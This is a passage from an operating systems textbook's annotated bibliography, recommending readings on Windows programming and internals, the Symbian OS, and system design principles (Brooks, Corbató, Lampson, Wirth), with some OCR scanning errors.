paper. The procedure is quite instructive. 

Rector and Newcomer, Win32 Programming �you �re lOOking for One of those 1500-page books giving a summary of how 
to wnte Wmdows programs, this is not a bad start. It covers windows devices 
�rap�cal output, key�oa�d and mouse input, printing, memory madagement: 
hbranes, and synchroruzatlOn, among many other topics. It requires knowledge of 
C or C++. 

Russinovich and Solomon, Microsoft Windows Internals, 4th ed. 
If you want to learn how to use Windows, there are hundreds of books out 

there. If you want to know how. Windows works inside, this is your best bet. It 
covers numerous internal algOrithms and data structures, and in considerable 
technical detail. No other book comes close. 

14.1.12 The Symbian OS 

Cinque et al., "How Do Mobile Phones Fail? A Failure Data Analysis of 
Symbian as Smart Phones" 

It used to be that while computers failed left and right, at least telephones 
w��ked. Now that telephones are simply small-screen computers, they, too, are 
faIlmg due to bad software. This paper discusses software bugs that have caused 
Symbian telephones and handhelds to crash. 

Morris, The Symbian as Architecture Sourcebook 
If you are looking for a lot more detail on the Symbian as, here is a good 

place to start. It covers the Symbian architecture and all the layers in a fair 
amount of detail and also gives some case studies. 

Stichbury and Jacobs, The Accredited Symbian Developer Primer 
If

. 
you are interested in what you need to know to develop applications for 

Symblan telephones and PDAs, this book starts with an introduction to the 
lang�age needed 

.
(C++), then moves On to the system structure, file system, net

working, tool chams, and compatibility. 

14.1.13 Design Principles 

Brooks, The Mythical Man Month: Essays on Software Engineering 
Fred Brooks was one of the designers of IBM's OS/360. He learned the hard 

way
.
what w�rks and ,:hat does not work. The advice given in this witty, amusing, 

and mforrnatlve book IS as valid now as it was a quarter of a century ago when he 
first wrote it down. 
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Cooke et aL, "UNIX and Beyond: An Interview with Ken Thompson" 
Designing an operating system is much more of an art than a science. Conse

quently, listening to experts in the field is a good way to learn about the subject. 
They do not come much more expert than Ken Thompson, co-designer of UNIX, 
Inferno, and Plan 9. In this wide-ranging interview, Thompson gives his thoughts 
on where we came from and where we are going in the field. 

Corbato, "On Building Systems That Will Fail" 
In his Turing Award lecture, the father of timesharing addresses many of the 

same concems that Brooks does in The Mythical Man-Month. His conclusion is 

that all complex systems will ultimately fail, and that to have any chance for suc

cess at all, it is absolutely essential to avoid complexity and strive for simplicity 

and elegance in design. 

Crowley, Operating Systems: A Design�Oriented Approach 
Most textbooks on operating systems just describe the basic concepts 

(processes, virtual memory, etc.) and a few examples, but say nothing about how 
to design an operating system. This one is unique in devoting four chapters to the 
subject. 

Lampson, "Hints for Computer System Design" 
Butler Lampson, one of the world's leading designers of innovative operating 

systems, has collected many hints, suggestions, and guidelines from his years of 

experience and put them together in this entertaining and informative article. Like 

Brooks' book, this is required reading for every aspiring operating system 

designer. 

Wirth, "A Plea for Lean Software" 
Niklaus Wirth, a famous and experienced system designer, makes the case 

here for lean and mean software based on a few simple concepts, instead of the 

bloated mess that much commercial software is. He makes his point by discuss

ing his Oberon system, a network-oriented, GUI-based operating system that fits 

in 200 KB, including the Oberon compiler and text editor. 
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Working directory, 40, 268-269, 777 
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